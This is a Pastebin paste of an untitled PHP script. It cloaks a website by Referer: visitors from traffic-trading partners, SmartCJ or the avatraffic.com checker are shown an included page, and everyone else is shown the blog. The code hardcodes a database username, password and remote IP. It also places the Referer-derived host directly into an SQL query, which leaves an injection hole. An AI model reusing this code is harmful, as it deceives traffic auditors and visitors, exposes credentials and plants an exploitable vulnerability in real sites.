Advertisement
Guest User

Untitled

a guest
Feb 19th, 2016
105
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.76 KB | None | 0 0
  1. <?php
  2. session_start();
  3.  
  4. header('Access-Control-Allow-Origin: *');
  5.  
  6. function clock() {
  7. echo file_get_contents("http://".$_SERVER['HTTP_HOST']."/blog/");
  8. }
  9. function nova() {
  10. include 'i.php';
  11. }
  12. function session_set($mod) {
  13. if (isset($_SERVER['HTTP_REFERER'])) {
  14. $_SESSION['referer'] = $_SERVER['HTTP_REFERER'];
  15. }
  16. if ($mod) {
  17. $_SESSION['clock'] = md5(md5('true'));
  18. header('Location: http://'.$_SERVER['HTTP_HOST'].'/?c');
  19. exit;
  20. }
  21. $_SESSION['clock'] = md5(md5('false'));
  22. header('Location: http://'.$_SERVER['HTTP_HOST'].'/?c');
  23. exit;
  24. }
  25.  
  26. if (isset($_GET['c'])) {
  27. header('Refresh: 0; http://'.$_SERVER['HTTP_HOST'].'/');
  28. exit;
  29. }
  30.  
  31.  
  32. if (!isset($_SESSION['clock'])) {
  33. if (isset($_SERVER["HTTP_REFERER"])) {
  34. $url = parse_url($_SERVER["HTTP_REFERER"]);
  35. $host = $url['host'];
  36. $host = str_replace("www.","",$host);
  37. $path = '';
  38. if (isset($url['path'])) {
  39. $path = $url['path'];
  40. }
  41. if($host == $_SERVER['HTTP_HOST'] and isset($_GET['r'])) {
  42. session_set(false);
  43. }
  44. if ($_SERVER["HTTP_REFERER"] == 'SmartCJ' || $host.$path == 'avatraffic.com/check.php') {
  45. session_set(true);
  46. }
  47. $dbUser = 'admin_ftt';
  48. $dbPass = 'seGyf7ecl8';
  49. $dbh = new PDO('mysql:host=178.208.78.110;dbname=admin_main', $dbUser, $dbPass);
  50. $sql = $dbh->query("SELECT COUNT(*) FROM `global_traders` WHERE `domain`='$host'");
  51. $count = $sql->fetchColumn();
  52. if ($count) {
  53. session_set(true);
  54. } else {
  55. session_set(false);
  56. }
  57. } else {
  58. session_set(false);
  59. }
  60. } else {
  61. if ($_SESSION['clock'] == md5(md5('true'))) {
  62. if (isset($_SESSION['referer'])) {
  63. $_SERVER['HTTP_REFERER'] = $_SESSION['referer'];
  64. }
  65. return nova();
  66. }
  67. return clock();
  68. }
  69.  
  70.  
  71. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement